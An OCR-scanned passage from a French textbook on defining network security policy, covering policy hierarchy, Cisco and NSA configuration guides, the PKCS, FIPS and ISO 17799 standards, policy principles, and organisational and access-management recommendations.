• Politiques. II s'agit de documents decrivant de maniere formelle des principes ou 
regies auxquelles se conferment les personnes qui re^oivent un droit d'acces au capital 
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technologique et informatif de l'entreprise. Ces documents a caractere non technique 
donnent aux responsables de l'entreprise les axes a suivre. 

• Guides. II s'agit de documents detaillant comment implementer les politiques de secu- 
rite. lis sont consideres comme des documents complementaires aux politiques. 

• Standards. II s'agit de documents de standardisation de normes et methodes emanant 
d'organismes internationaux tels que 1'ISO (International Standardization Organiza- 
tion), 1'IETF (Internet Engineering Task Force), 1'IEEE (Institute of Electrical and 
Electronics Engineers), etc. 

• Procedures. II s' agit de documents a caractere operationnel et technique, qui decrivent 
de maniere claire et precise les etapes a suivre pour atteindre un objectif de securite 
donne. 

Une politique de securite reseau est done independante de tout produit ou technologic 
Elle est avant tout constitute d'une suite de regies et de principes repondant aux besoins 
de securite de l'entreprise. 

Les documents de securite peuvent etre representes par une structure pyramidale repre- 
sentant le positionnement respectif de chaque document, comme illustre a la figure 5.1. 



Figure 5.1 

Pyramide des politiques de 



securite 



Politique de securite 



Standards/guides/recommandations 
de securite 



Procedures de securite 



Documentation de la securite 
de l'entreprise 



L' objectif d'une politique de securite est de proteger les elements critiques de l'entreprise 
afin d' assurer sa perennite en cas d' incident de securite. 



Guides de politiques de securite reseau 

Les nombreux problemes ou faiblesses de securite des equipements reseau ont contraint 
les fabricants d' equipements a considerer la securite comme une composante du deve- 
loppement des produits. Cisco, qui est le principal fournisseur mondial d'equipements 
reseau, met a la disposition du public sur son site Internet de nombreux guides sur les 
mecanismes de securite proposes dans ses equipements. 
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Un de ces documents traite de maniere plus precise des problematiques de securite d'un 
operateur de telecommunications et couvre les sujets suivants : 

• securite de la gestion de 1' administration des equipements reseau, des protocoles de 
routage interne et externe, etc. ; 

• problematiques des sessions de routage avec des tierces parties (gestion des instabilites 
des routes, controle des annonces de routes, etc.), du service reseau de resolution des 
noms de domaine, du service de distribution du temps, etc. ; 

• service de creation de tunnels chiffres, etc. 

Le guide donne en outre des exemples concrets de configurations reseau types. 

Toute faiblesse de securite detectee dans ses equipements donne lieu a une alerte de secu- 
rite. Cette derniere contient les produits et versions impactes, des informations sur les 
correctifs, mais aussi des recommandations de configuration en attendant les correctifs 
de securite. 

De tels guides et alertes permettent de definir les mecanismes de securite a mettre en 
place arm de satisfaire aux objectifs d'une politique de securite. lis ne definissent 
cependant pas les besoins ni les objectifs de securite d'un reseau d'un operateur de 
telecommunications. 



Recommandations de la NSA (National Security Agency) 

Dans le cadre de la publication de documents de l'agence de la securite nationale ameri- 
caine NSA, des recommandations de securite a la fois au niveau des equipements reseau 
et des systemes d' exploitation sont disponibles sur Internet. 

Au niveau reseau, ces guides decrivent de maniere precise les configurations ainsi que les 
mecanismes de securite qui doivent etre mis en place afln de garantir un niveau de secu- 
rite minimal : 

• Le Switch Security Configuration Guide decrit les configurations assurant un niveau 
minimal de securite des equipements de niveau 2. II couvre la securite de la gestion de 
1' administration et des services reseau offrant des reseaux locaux virtuels, mais aussi des 
protocoles reseau permettant de gerer des domaines d' equipements de niveau 2, comme 
le protocole VTP (VLAN Trunking Protocol), pour la gestion de la politique des VLAN 
dans un domaine reseau de niveau 2, ou encore le protocole STP (Spanning Tree 
Protocol), pour la prevention des boucles dans un domaine reseau de niveau 2. Ce guide 
fournit des exemples types de configurations et aborde la verification des configurations. 

• Le Router Security Configuration Guide decrit les configurations assurant un niveau 
minimal de securite des equipements de niveau 3. II couvre la securite de la gestion de 
1' administration, des protocoles de routage interne et externe, du service reseau de 
resolution des noms de domaine, du service de distribution du temps, du service de 
creation de tunnels chiffres, etc. II donne egalement des exemples types de configura- 
tions et traite de la verification des configurations. 
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Ces guides de securite permettent de definir les mecanismes de securite a mettre en place 
afln de satisfaire aux objectifs d'une politique de securite. lis ne definissent cependant pas 
les besoins ni les objectifs de securite d'un reseau d'un operateur de telecommunications. 

Standards de politiques de securite reseau 

De nombreux organismes publient des standards afln de definir une approche commune 
entre les industriels et autres parties. Beaucoup de ces standards et normes sont attaches 
aux domaines de la cryptographie a cle publique, des certiflcats electroniques et des 
supports securises. 

En voici quelques exemples : 

• PKCS (Public Key Cryptography Standards). Specifications developpees par les 
laboratoires de la societe RSA en vue d'accelerer le deploiement de la cryptographie a 
cle publique. Les PKCS servent de reference dans le monde de la cryptographie. Leurs 
differentes versions sont les suivantes : 

PKCS#1. Standard de chiffrement RSA decrivant comment chiffrer des donnees en 
utilisant 1'algorithme a cle publique RSA, afln de signer un flchier ou de le chiffrer. 

PKCS#3. Standard de negotiation de cle Diffie-Hellman decrivant comment imple- 
menter 1'algorithme Diffie-Hellman servant a negocier un secret partage entre deux 
parties, sans qu'aucune information privee doive etre echangee. Ce secret partage sert 
generalement a generer une cle de session, qui peut etre utilisee dans un algorithme a 
cle secrete. 

PKCS#5. Standard de chiffrement d'un mot de passe definissant une methode pour 
chiffrer des chames de caracteres avec une cle derivee d'un mot de passe. Le role initial 
de ce standard est de chiffrer des cles privees devant etre transferees d'un ordinateur a 
un autre. 

PKCS#6. Standard decrivant la syntaxe d'un certificat etendu. On entend par certificat 
etendu un certificat de cle publique X.509 et un ensemble d'attributs, le tout signe par 
la cle publique de l'autorite de certification ayant emis le certificat. 

PKCS#7. Standard decrivant la syntaxe des donnees devant etre chiffrees, comme les 
signatures numeriques. 

PKCS#8. Standard decrivant une syntaxe pour les informations concernant la cle 
privee et pour chiffrer les cles privees. 

PKCS#8. Selection de types d'attributs pouvant etre utilises dans les certiflcats etendus 
(PKCS#6), les signatures numeriques (PKCS#7) et les informations concernant la cle 
privee (PKCS#8). 

PKCS#10. Standard definissant une syntaxe pour la demande d'un certificat. Une 
demande de certificat comprend un nom d'utilisateur, une cle publique et, optionnelle- 
ment, un ensemble d'attributs (pour les certiflcats etendus). 

PKCS#11. Standard definissant l'interface cryptographique des cartes a jeton. 
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PKCS#12. Standard deflnissant la syntaxe d'echange des informations personnelles. 

PKCS#13. Standard de chiffrement fonde sur les courbes elliptiques. 

PKCS #15. Standard deflnissant la syntaxe des informations relatives aux cartes a 
jeton. 

FIPS (Federal Information Processing Standards). Normes americaines ecrites par 
le NIST (National Institute for Standards and Technology) pour definir des niveaux de 
securite ou une classification des produits cryptographiques: 

FIPS 140-1, Security Requirements for Cryptographic Modules. Recommandations 
decrivant comment realiser des modules cryptographiques. 

FIPS 186, DSS (Digital Signature Standard). Standard decrivant 1'algorithme de 
signature numerique a cle publique DSS. 

ISO (International Standardization Organization). Normes decrivant des standards 
internationaux dans differents domaines : 

ISO/IEC 7810. Norme decrivant les caracteristiques des cartes d' identification. 

ISO/IEC7812. Norme decrivant le systeme de numerotation et les procedures de 
demande pour 1' identification des emetteurs. 

ISO/IEC 7816. Norme decrivant les caracteristiques des cartes d' identification a 
circuits integres a contact. 

PKIS (Public Key Infrastructure Standards). Standards issus du groupe de travail 
de 1'IETF voue aux certiflcats electroniques X.509-based PKI. Les recommandations 
suivantes donnent une idee des travaux entrepris sous l'egide de ce groupe de travail : 

Internet X.509 Public Key Infrastructure Certificate Management Protocols 
(RFC 2510). 

Internet X.509 Certificate Request Message Format (RFC 251 1). 

Internet X.509 Public Key Infrastructure Certificate Policy and Certification Practices 
Framework (RFC 2527). 

Internet X.509 Public Key Infrastructure Representation of Key Exchange Algorithm 
(KEA) Keys in Internet X.509 Public Key Infrastructure Certificates (RFC 2528). 

Internet X.509 Public Key Infrastructure LDAP v2 Schema (RFC 2587). 

Diffie-Hellman Proof-of-Possession Algorithms (RFC 2875). 

Internet X.509 Public Key Infrastructure Qualified Certificates Profile (RFC 3039). 

Internet X.509 Public Key Infrastructure Data Validation and Certification Server 
Protocols (RFC 3029). 

Algorithms and Identifiers for the Internet X.509 Public Key Infrastructure Certificate 
and CRI Profile (RFC 3279). 

Internet X.509 Public Key Infrastructure Certificate and CRL (Certificate Revocation 
List) Profile (RFC 3280). 
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La norme ISO 17799 

La norme ISO 17799 est issue de la norme anglaise BS 7799 creee en 1995 et revisee en 
1999. Cette norme constitue un code de bonnes pratiques pour la gestion de la securite de 
T information. Elle fait l'objet en Grande-Bretagne d'un schema de certification, qui 
permet aux entreprises anglaises d'etre referencees. Un client qui opere avec ces entrepri- 
ses a ainsi la garantie que ses informations sont gerees de maniere plus ou moins securisee, 
car un certain nombre de mesures techniques ou non techniques ont ete mises en place. 

La norme propose plus d'une centaine de mesures reparties en dix chapitres : 

• Politique de securite. Decrit la necessite de disposer d'une politique de securite et 
d'un processus de validation et de revision de cette politique. 

• Organisation de la securite. Traite de la necessite de disposer d'une organisation 
dediee a la mise en place et au controle des mesures de securite. 

• Classification des informations. Traite de la necessite de repertorier 1' ensemble des 
informations et de determiner leur classification. 

• Securite du personnel. Traite du recrutement et de la sensibilisation. 

• Securite de Penvironnement et des biens physiques. Traite de toutes les mesures 
classiques permettant de proteger les batiments et les equipements informatiques. 

• Administration. Traite de la gestion du systeme d' information (procedures d' exploi- 
tation, criteres d' acceptation de tout nouveau systeme, etc.). 

• Controle d'acces. Traite de la necessite pour l'entreprise de disposer d'une politique 
de controle d'acces. 

• Developpement et maintenance. Traite de la necessite d'integrer les besoins de secu- 
rite dans les specifications fonctionnelles d'un systeme. 

• Plan de continuity. Traite de la necessite pour l'entreprise de disposer de plans de 
continuite, de processus de redaction, de tests reguliers et de mises a jour de ces plans. 

• Conformite legale et audit de controle. Traite de la necessite de disposer de 
l'ensemble des lois et reglements qui s'appliquent aux informations qu'elle manipule 
et des procedures associees. 

A cette norme s'ajoutent d'autres normes en cours de revision, notamment les suivantes : 

• BS 7799 (code de pratiques pour la gestion de la securite de 1' information) et BS 7799- 
2 (systeme de management de la securite de 1' information) ; 

• ISO 17799 (code de pratiques pour la gestion de la securite de 1' information) et 
ISO 13335 (systeme de management de la securite de l'information) ; 

• ISO 1901 1 (audit des systemes de management de la qualite). 
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Definition d'une politique de securite reseau 

La definition d'une politique de securite reseau n'est pas un exercice de style mais une 
demarche de toute l'entreprise visant a proteger son personnel et ses biens d'eventuels 
incidents de securite dommageables pour son activite. 

En cela, elle fait integralement partie de la demarche securitaire de l'entreprise et s'etend 
a de nombreux domaines, notamment les suivants : 

audit des elements physiques, techniques et logiques constituant le systeme d'informa- 
tion de l'entreprise ; 

sensibilisation des responsables de l'entreprise et du personnel aux incidents de secu- 
rite et aux risques associes ; 

formation du personnel utilisant les moyens informatiques du systeme d' information ; 

structuration et protection des locaux abritant les systemes informatiques et les equi- 
pements de telecommunications, incluant le reseau et les materiels ; 

ingenierie et maitrise d'oeuvre des projets, incluant les contraintes de securite des la 
phase de conception ; 

gestion du systeme d' information de l'entreprise lui permettant de suivre et d'appli- 
quer les recommandations de securite des procedures operationnelles ; 

definition du cadre juridique et reglementaire de l'entreprise a l'egard de la politique 
de securite et aux actes de malveillance, 80 % des actes malveillants provenant de 
l'interieur de l'entreprise ; 

classification des informations de l'entreprise selon differents niveaux de confidentia- 
lite et de criticite. 

Avant de definir une politique de securite reseau, il est essentiel d'en connaitre les princi- 
pes generiques. Differents organismes officiels se penchent depuis plusieurs annees sur 
cette question. La section suivante dresse l'inventaire de leurs travaux. 



Principes generiques d'une politique de securite reseau 

Afin d'eviter un certain nombre d'ecueils classiques, une politique de securite reseau doit 
respecter un ensemble de principes generiques. Ces principes permettent notamment a 
chacun de cerner les enjeux de la redaction d'un document de politique de securite 
reseau, lequel n'est pas un document comme les autres. 

Un document de politique de securite reseau peut etre ecrit de plusieurs manieres, allant 
d'un texte unique a un ensemble de politiques de securite. Le choix d'ecrire un ou 
plusieurs documents est le plus souvent dicte par la taille de l'entreprise. Plus l'entreprise 
est importante, plus il est necessaire de creer des documents separes, chaque niveau 
faisant reference au niveau superieur. 
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Petites, moyennes et grandes entreprises s'exposent dans l'absolu aux memes risques si 
elles n'emettent pas de politique de securite reseau. Dans la mesure ou la politique de 
securite dicte la strategic de securite de l'entreprise de maniere claire et precise, le fond 
et la forme sont primordiaux pour sa redaction. 

Quelle que soit la nature des biens produits par l'entreprise, sa politique de securite 
reseau vise a satisfaire les criteres suivants : 

• Identification. Information permettant d'indiquer qui vous pretendez etre. Une identi- 
fication elementaire est le nom d'utilisateur que Ton saisit dans un systeme informa- 
tique. Une identification plus evoluee peut etre fournie par un releve d'empreinte 
digitale, une analyse faciale ou retinienne, etc. 

• Authentification. Information permettant de valider l'identite pour verifier que vous 
etes celui que vous pretendez etre. Une authentification elementaire est le mot de passe 
que vous entrez dans le systeme informatique. Une authentification forte combine une 
chose que vous possedez et une chose que vous connaissez (numero de carte bancaire 
et code personnel, par exemple). 

• Autorisation. Information permettant de determiner quelles sont les ressources de 
l'entreprise auxquelles l'utilisateur identifie et autorise a acces, ainsi que les actions 
autorisees sur ces ressources. Cela couvre toutes les ressources de l'entreprise. 

• Confidentiality. Ensemble des mecanismes permettant qu'une communication de 
donnees reste privee entre un emetteur et un destinataire. La cryptographie ou le chif- 
frement des donnees est la seule solution fiable pour assurer la confidentialite des 
donnees. 

• Integrite. Ensemble des mecanismes garantissant qu'une information n'a pas ete 
modifiee. 

• Disponibilite. Ensemble des mecanismes garantissant que les ressources de l'entre- 
prise sont accessibles, que ces dernieres concernent 1' architecture reseau, la bande 
passante, le plan de sauvegarde, etc. 

• Non-repudiation. Mecanisme permettant de garantir qu'un message a bien ete envoye 
par un emetteur et rec^u par un destinataire. 

• Tra^abilite. Ensemble des mecanismes permettant de retrouver les operations reali- 
sees sur les ressources de l'entreprise. Cela suppose que tout evenement applicatif soit 
archive pour investigation ulterieure. 

Distinguer la politique de la procedure 

La politique est 1' expression du besoin. La procedure, ou recommandation technique, est 
1' implementation du besoin. II est done imperatif de distinguer les deux. Lorsque certains 
produits pare-feu presentent les regies de filtrage comme une politique de securite, e'est 
le concept meme de politique de securite qui est devoye. 

L'objectif d'une politique de securite est d'enoncer des resultats attendus, et non les 
moyens par lesquels les obtenir. C'est la raison pour laquelle il convient d'ecrire : 
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• « L'acces a distance au reseau interne de Ventreprise (intranet) est autorise a la 
condition exclusive d'une authentication forte de Vindividu via une connexion reseau 
chiffree. » 

• « L'acces a Internet depuis le reseau interne de Ventreprise (intranet) est protege 
contre les attaques eventuelles, incluant les virus informatiques. » 

Et non : 

• « L'acces externe au reseau interne de Ventreprise (intranet) est authentifie par un 
certificat electronique valide aupres de la PKI de I 'entreprise. De plus la connexion 
reseau est chiffree par le protocole IP sec. » 

• « L'acces a Internet traverse un pare -feu filtrant le protocole IP. De plus, le pare-feu 
est couple a un systeme antivirus, qui analyse tous les e-mails et attachements transi- 
tant entre Internet et le reseau interne de Ventreprise (intranet) afin de detecter 
d'eventuels virus. » 

Les principes enonces par une politique de securite assurent a cette derniere une peren- 
nite beaucoup plus longue que les procedures de securite, qui sont appelees a etre modi- 
flees frequemment pour tenir compte des avancees technologiques, des modifications 
d' architecture, etc. 

Une politique de securite est moins touchee par revolution technologique, car elle decrit 
des besoins et non des moyens. Malgre tout, une politique de securite doit etre revue au 
moins tous les deux ans afin de tenir compte des modifications organisationnelles de 
1' entreprise. 

Contraintes d'application des politiques de securite reseau 

Quelle que soit 1' entreprise concernee et la politique de securite reseau deflnie, 1' applica- 
tion d'une politique de securite est confrontee aux trois contraintes suivantes : 

• Technique. La technologie a ses limites. Certaines applications sont difflcilement 
flltrables par un pare-feu ou ne tolerent pas que l'adresse source de l'expediteur soit 
modiflee au profit de celle du pare-feu par une technique de masquerading, ou NAT 
(Network Address Translation). Par exemple, les outils de partage de flchiers entre 
clients, appeles peer-to-peer, sont tres durs a bloquer, car ils disposent d'une souplesse 
d'utilisation permettant le changement du port reseau TCP utilise, chaque adresse sur 
Internet etant potentiellement un client hebergeant un tel outil. Par ailleurs, des 
services reseau tels que H323 (telephonie sur protocole IP) ou le protocole IPsec 
n'apprecient pas le NAT. 

Une autre illustration de ces limitations est fournie par le flltrage des donnees, qui ne 
peut etre complet du fait de la nature extremement variee des protocoles et des types de 
donnees. Les mises a jour permanentes des bases de signature des virus conflrment que 
la detection de virus est loin d'etre predictable. 

• Economique. Pour une solution technique donnee, une contrainte d'ordre economique 
peut surgir, si bien qu'il faut parfois choisir une solution moins chere, meme si elle ne 
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repond pas exactement aux besoins de securite. Une telle situation revient a une accep- 
tation d'un risque de securite, a condition toutefois que le decideur dispose d'une 
reelle synthese des risques, c'est-a-dire d'une description des menaces et de leur 
probability d' occurrence, ainsi que de leurs consequences. 

• Politique. Pour une solution technique donnee, economiquement acceptee, une 
contrainte d'ordre politique peut survenir. Sans justification logique ou technique, une 
telle contrainte peut engendrer de reels problemes de securite. Ce type de situation 
requiert egalement 1' acceptation de risques de securite. 

Le principe de propriete 

Le principe de propriete exige qu'une politique de securite decrive, pour chaque 
ressource d'une entreprise, quels en sont les proprietaires. On doit entendre par 
« propriete », non pas l'aspect legal de la propriete d'un bien, mais son aspect fonction- 
nel, qui consiste a en assurer la perennite et la protection. 

Les proprietaires d'une ressource en ont la responsabilite et dictent les regies d'acces a 
cette ressource. Un schema classique etablit une distinction entre le proprietaire, l'admi- 
nistrateur et l'utilisateur d'une ressource. 

Le proprietaire definit les regies d'utilisation de ses ressources et les donne a l'adminis- 
trateur, lequel a pour role de les appliquer aux demandes d'un utilisateur. En cas de 
probleme, l'administrateur demande au proprietaire une derogation aux droits d'acces. 
L'utilisateur n'est jamais en contact direct avec le proprietaire. 

Ce mode de fonctionnement garantit une certaine independance de l'administrateur face 
a l'utilisateur, comme l'illustre la figure 5.2. 



Figure 5.2 
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L'autorite 

La direction generale a autorite sur toutes les ressources de 1' entreprise. Elle delegue 
generalement cette autorite aux responsables de departements, qui peuvent a leur tour 
mandater un groupe au sein de leur departement. 
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Dans tous les cas, l'equipe securite, mandatee par la direction generale, dispose de 
l'autorite de verifier 1' application de la politique de securite sur toutes les ressources de 
l'entreprise. 

Un comite de securite, constitue des responsables de l'entreprise, est de surcroit constitue 
afln de deflnir la strategic de securite de l'entreprise et de trancher les problemes de secu- 
rite remontes par l'equipe securite ou d'autres departements. Chaque probleme remonte 
fait l'objet d'une analyse de risque, detaillant vulnerabilites, consequences et menaces. 

Luni versa lite 

Le principe d'universalite veut qu'une politique de securite dicte des regies qui doivent 
etre non seulement validees, quels que soient les aspects techniques mis en jeu, mais 
aussi appliquees. 

L'idee sous-jacente est que la conception initiale d'une politique de securite se detache 
au maximum des aspects technologiques et enonce des regies et principes admis au sein 
de l'entreprise. Seuls les guides, recommandations ou procedures impliquent des aspects 
techniques. 

L'orthogonalite 

Le principe d'orthogonalite precise qu'une politique de securite peut etre decoupee en 
sous-parties distinctes, sous la condition que ces sous-parties forment un ensemble 
coherent. 

L'idee sous-jacente est que la conception initiale d'une politique de securite et de ses 
domaines d' application doit etre essentielle et fondamentale, de sorte a eviter une evolu- 
tion inconsistante de la politique de securite, de ses guides et de ses recommandations. 

La simplicity 

Une politique de securite est simple dans sa structure et claire dans les regies qu'elle 
enonce. Toute mauvaise comprehension d'une regie de la politique de securite conduit a 
ce quelle ne soit pas appliquee ou, pire, qu'elle le soit mal. 

Rappelons le mot celebre de Nicolas Boileau dans UArtpoetique : « Ce que Ton con^oit 
bien s' enonce clairement et les mots pour le dire arrivent aisement. » 

L'auditabilite 

Une politique de securite est auditable. Cela demande que les regies qu'elle enonce puis- 
sent etre veriflees dans les faits. Bien qu'il soit difficile de mesurer toute chose, la politi- 
que de securite est ecrite dans cet objectif. 

L'idee sous-jacente est qu'une politique de securite constitue le referentiel ou la pierre 
angulaire de tout audit ou controle de securite. Les regies qu'elle enonce doivent pour 
cela etre claires, precises et mesurables. 
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La hierarchie 

Une politique de securite est structuree en une politique de securite de haut niveau, qui 
englobe les politiques de securite couvrant des domaines precis. Ces memes politiques de 
securite pointent sur des procedures qui detaillent des aspects techniques du domaine vise. 

L'idee sous-jacente est qu'une politique de securite doit etre structuree en sous-politiques 
de securite, dans une approche allant du plus general au plus speciflque. II est admis que 
deux a trois niveaux de politiques de securite conviennent dans la plupart des cas. 

II convient toutefois de prendre garde au piege de l'arborescence des politiques de secu- 
rite, qui pourrait contredire les principes de simplicite et d'orthogonalite. 

L'approbation 

Une politique de securite est approuvee par la direction generale, et ce de maniere offl- 
cielle. De plus, la direction generale et les ressources humaines s'engagent a reprimer toute 
violation de la politique de securite qui pourrait mettre en peril la survie de l'entreprise. 

Les cadres juridique et reglementaire couvrant la politique de securite et les actes de 
malveillance sont connus de tout le personnel de l'entreprise. 

Enfln, une politique de securite est realiste et tient compte a la fois des contraintes de 
l'entreprise et des couts generes par la securite, compares aux gains de securite engendres. 

Niveaux d'une politique de securite reseau 

La declinaison d'une politique de securite reseau en sous-niveaux n'est pas chose facile. 
Cela demande notamment une parfaite connaissance du domaine vise. Seule 1' experience 
de l'entreprise et de son historique permet d'eviter les pieges et surtout de ne retenir que 
les elements principaux et critiques. 

La figure 5.3 illustre une classification de la politique de securite en niveaux. Les 
sections qui suivent detaillent chacun de ces niveaux. 



Figure 5.3 

Hierarchie des politiques de 
securite 



Politique generale de 
securite 




Politique de securite 
intranet 



Politique de securite 
Internet 



Standards/guides/ 
recommandations intranet 



Standards/guides/ 
recommandations Internet 



Procedures intranet 

- Messagerie 

- Compte dacces 
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• Politique de securite. Regroupe 1' ensemble des politiques de securite de l'entreprise. 

• Politique generate de securite de l'entreprise. Dirigeant les orientations de toutes les 
autres, cette politique de haut niveau definit les axes strategiques de securite reseau de 
l'entreprise : 

- Politique de securite de 1' intranet. Cette sous-partie de la politique generale de 
securite precise les principes de securite du reseau interne de l'entreprise. II est 
notamment interdit de connecter le reseau interne a d' autres reseaux par des 
connexions non autorisees, de lancer des attaques, faire circuler des virus, etc., au 
sein du reseau interne. 

- Politique de securite Internet. Cette sous-partie de la politique generale de securite 
precise les principes de securite de connexion a Internet du reseau interne de 
l'entreprise. Par exemple, il est interdit d' installer sur les ordinateurs internes du 
reseau des outils telecharges depuis Internet et d' envoy er des informations confi- 
dentielles non chiffrees vers Internet. 

• Standards, guides et recommandations de securite. Regroupe 1' ensemble des 
recommandations d'ordre technique relatives a la mise en place ou a 1' implementation 
de la politique de securite. Ces standards, guides et recommandations portent sur les 
domaines techniques precis de la politique de securite : 

- Standards, guides et recommandations pour les serveurs Unix situes au sein de 1' intra- 
net, par exemple. lis definissent comment securiser un serveur Unix et installer les 
outils dermis dans les standards pour 1' administration, tel SSH (Secure Shell). 

- Standards, guides et recommandations Internet. Definissent comment choisir un 
pare-feu adapte a ses besoins ou installer un serveur Web securise, par exemple. 

• Procedures de securite. Regroupe 1' ensemble des procedures de securite de l'entre- 
prise qui couvrent les elements critiques dermis par la politique de securite. Ces proce- 
dures sont tres detaillees et techniques : 

- Procedures de l'intranet. Ce sont les procedures de sauvegarde des bases de 
donnees de l'intranet ou d'acces a distance a l'intranet. 

- Procedures Internet. Incluent le parametrage de la securite des navigateurs Internet 
et des logiciels antivirus. 

II peut egalement s'agir de procedures reactives en cas d'evenement. Par exemple : 

- Procedure de reaction en cas de virus detecte au sein du reseau. 

- Procedure en cas d' incident de securite de type intrusion. 

Typologie des politiques de securite reseau 

Une politique de securite peut etre trop permissive ou au contraire trop restrictive. Dans 
le premier cas, elle risque de presenter une faiblesse de securite par son cote laxiste. Dans 
le second, elle peut devenir inapplicable du fait de regies trop strictes. 
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Comme dans de nombreux domaines, seule l'experience guide l'ecriture d'une politique 
de securite ainsi que ses regies. Dans tous les cas, plus les ressources sont critiques, plus 
les regies doivent etre strictes. 

Quelle que soit la politique de securite deflnie, il faut savoir gerer les exceptions ou 
entorses aux regies de securite. Ces exceptions sont connues, limitees, documentees et 
sous controle. 

Toute deviation de la politique de securite fait l'objet d'une revue speciflque afln de 
corriger la faiblesse de securite engendree et les exceptions associees. 

Une politique de securite reseau couvre les elements suivants : 

• Securite de Infrastructure. Couvre la securite logique et physique des equipements 
et des connexions reseau, qu'elles soient internes ou fournies par les FAI. 

• Securite des acces. Couvre la securite logique des acces locaux et distants aux 
ressources de l'entreprise, ainsi que la gestion des utilisateurs et de leurs droits d' acces 
au systeme d' information de l'entreprise. 

• Securite du reseau intranet face a Internet ou aux tierces parties. Couvre la secu- 
rite logique des acces aux ressources de l'entreprise (extranet) et 1' acces aux 
ressources exterieures (Internet). 

Guides et regies associes a la politique de securite reseau 

Un framework de securite permet de definir un guide de recommandations de haut niveau 
ainsi que, dans un deuxieme temps, des guides et regies. 

Chacun peut construire son framework de securite, a condition de tenir compte des speci- 
flcites et besoins de securite de l'entreprise. 

Les chapitres generiques suivants sont essentiels a la partie reseau : 

• organisation et management ; 

• ressources humaines ; 

• gestion de projet ; 

• gestion des acces logiques ; 

• exploitation et administration ; 

• verification des configurations ; 

• securite physique ; 

• plan de desastre ; 

• verification de 1' application de la politique de securite. 

Les sections qui suivent detaillent ces chapitres et enoncent pour chacun d'eux des 
recommandations importantes. 
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Organisation et management 

Une politique de securite requiert le support du management et fait partie integrante de la 
strategie de l'entreprise. L'implication et le support du management sont done primor- 
diaux, puisque la securite a des impacts sur les projets informatiques en terme de priori- 
tes, de ressources, etc. 



Guides et regies de managaement a considerer 

• Un comite de securite constitue des dirigeants de l'entreprise est constitue. Ce comite a pour mission 
de definir la strategie de securite mais aussi de supporter la mise en place de la politique de securite. 

Les objectifs de securite sont inclus dans la strategie de l'entreprise. Un plan securitaire annuel est defini. 

Une politique de securite generale est definie avec des objectifs simples et precis, incluant les roles et 
les responsabilites de chacun des departements de l'entreprise. 

Une equipe de securite ayant pour mission de mettre en place le plan securitaire ainsi que de verifier 
I'application de la politique de securite est creee. 

Un ensemble de recommandations, ou guides, sont definies pour tous les departements de l'entre- 
prise, couvrant les domaines cibles par la politique de securite. 

Des procedures de securite sont etablies avec les departements concernes pour les elements criti- 
ques de l'entreprise. 



Ressources humaines 

Pour etre appliquee, une politique de securite necessite l'implication des salaries de 
l'entreprise. Le facteur humain est done primordial et surpasse dans bien des cas les 
aspects purement techniques. 



Guides et regies de ressources humaines a considerer 

• Les procedures de recrutement sont clairement definies. De plus, les contrats d'embauche incluent un 
paragraphe relatif a la politique de securite de l'entreprise. 

• Les cadres juridique et reglementaire a regard de la politique de securite et aux actes de malveillance 
sont connus de tout le personnel de l'entreprise. 

• Des procedures disciplinaires sont definies suite a l'implication d'un salarie dans un acte de malveillance. 

• Les positions ou fonctions cles de l'entreprise, telles que directeur de recherche, directeur des opera- 
tions ou expert de la securite, sont identifies. 

• Les salaries, tierces parties, etc., regoivent une formation et une sensibilisation a la securite. La 
connaissance par autrui de toute information sensible risque de faire perdre a l'entreprise un avantage 
important face a ses concurrents. Tout le personnel de l'entreprise est done sensibilise, depuis la direc- 
tion generale jusqu'aux employes, en passant par les cadres et responsables. 



Gestion de projet 



La politique de securite tient compte des evolutions des produits et services de l'entre- 
prise afln de coller a la realite. 
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De meme, la gestion de projet tient compte le plus en amont possible de la politique de 
securite arm de mieux y integrer les contraintes de securite. 



Guides et regies de gestion de projet a considerer 

Les procedures de developpement des produits et services sont clairement definies et documentees. 

Le developpement des produits et services tient compte de la politique de securite et inclut les 
contraintes securite lors de la phase de conception. 

Des tests de non-regression sont definis lors du developpement des produits et services. Les tests de 
non-regression ont pour principal objectif de valider que la securite prealablement definie reste valide. 

Des tests d'attaque, de detection des acces ouverts, etc., sont definis lors du developpement des 
produits et services. 

Les elements hardware et software necessaires au developpement des produits et services sont 
connus et approuves. 

Tout element critique des produits et services est clairement identifie, et des procedures de restaura- 
tion en cas de desastre sont definies. 

Les accords avec des tierces parties pour le developpement des produits et services sont clairement 
definis. Leurs impacts possibles sur I'entreprise en cas de probleme sont evalues. 

Lenvironnement de developpement (outils, plates-formes, etc.) des produits et services est securise. 
Des procedures de securite en detaillent les acces. 

La documentation relative aux projets informatiques est accessible au personnel de I'entreprise. Une 
classification de confidentiality est etablie, appliquee et protegee adequatement. La documentation est 
maintenueajour. 



Gestion des acces logiques 

Les acces et droits d'acces aux ressources de I'entreprise sont surement Tun des aspects 
de la politique de securite les plus difflciles a mettre en place, compte tenu de 1' impor- 
tance du facteur humain et des procedures de gestion associees. La gestion des acces 
logiques repose pour pres de 90 % sur des aspects organisationnels et pour 10 % sur des 
aspects techniques. 

Pour y parvenir, il est necessaire de definir au prealable les roles et besoins d'acces 
associes aux ressources de I'entreprise, comme les acces a la base de donnees de comp- 
tabilite, a la messagerie, etc., puis d'attribuer a chaque acteur ou utilisateur un ou 
plusieurs roles. 



Guides et regies de gestion des acces logiques a considerer 

• Une classification des ressources de I'entreprise est etablie. 

• Les responsables de chacune des ressources de I'entreprise ainsi que les administrateurs de ces 
ressources sont definis. 

• Les procedures et interactions entre administrateurs, responsables et utilisateurs des ressources de 
I'entreprise sont precisees. 

• Chaque acces d'un utilisateur aux ressources du systeme d'information fait I'objet d'une procedure 
d'enregistrement prealable. 
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Des procedures de modification ou de suppression de comptes utilisateur sont etablies et appliquees. 

Chaque utilisateur est associe a un ou plusieurs profils, ou roles, definissant ses droits d'acces aux 
ressources de I'entreprise. 

Chaque acces d'un utilisateur a une ressource de I'entreprise est chiffre et authentifie. 

Chaque acces d'un utilisateur a une ressource critique de I'entreprise traverse au prealable une zone 
securisee, appele zone demilitarisee, ou DMZ (Demilitarized Zone). 

Toutes les activites d'un utilisateur vers des ressources critiques de I'entreprise sont enregistrees et 
sauvegardees a des fins d'investigation, notamment en cas d'incident de securite. 



Exploitation et administration 

L' exploitation du reseau et des services associes de I'entreprise suit un ensemble de proce- 
dures dites operationnelles afln d'en assurer l'integrite et la securite a moyen terme. 



Guides et regies d'exploitation et d'administration a considerer 

• Les procedures operationnelles sont definies et mises a jour. 

• Des procedures operationnelles existent pour la supervision des elements critiques. 

• Des procedures de maintenance preventive existent pour les elements critiques de sorte que toute 
anomalie soit verifiee et corrigee. 

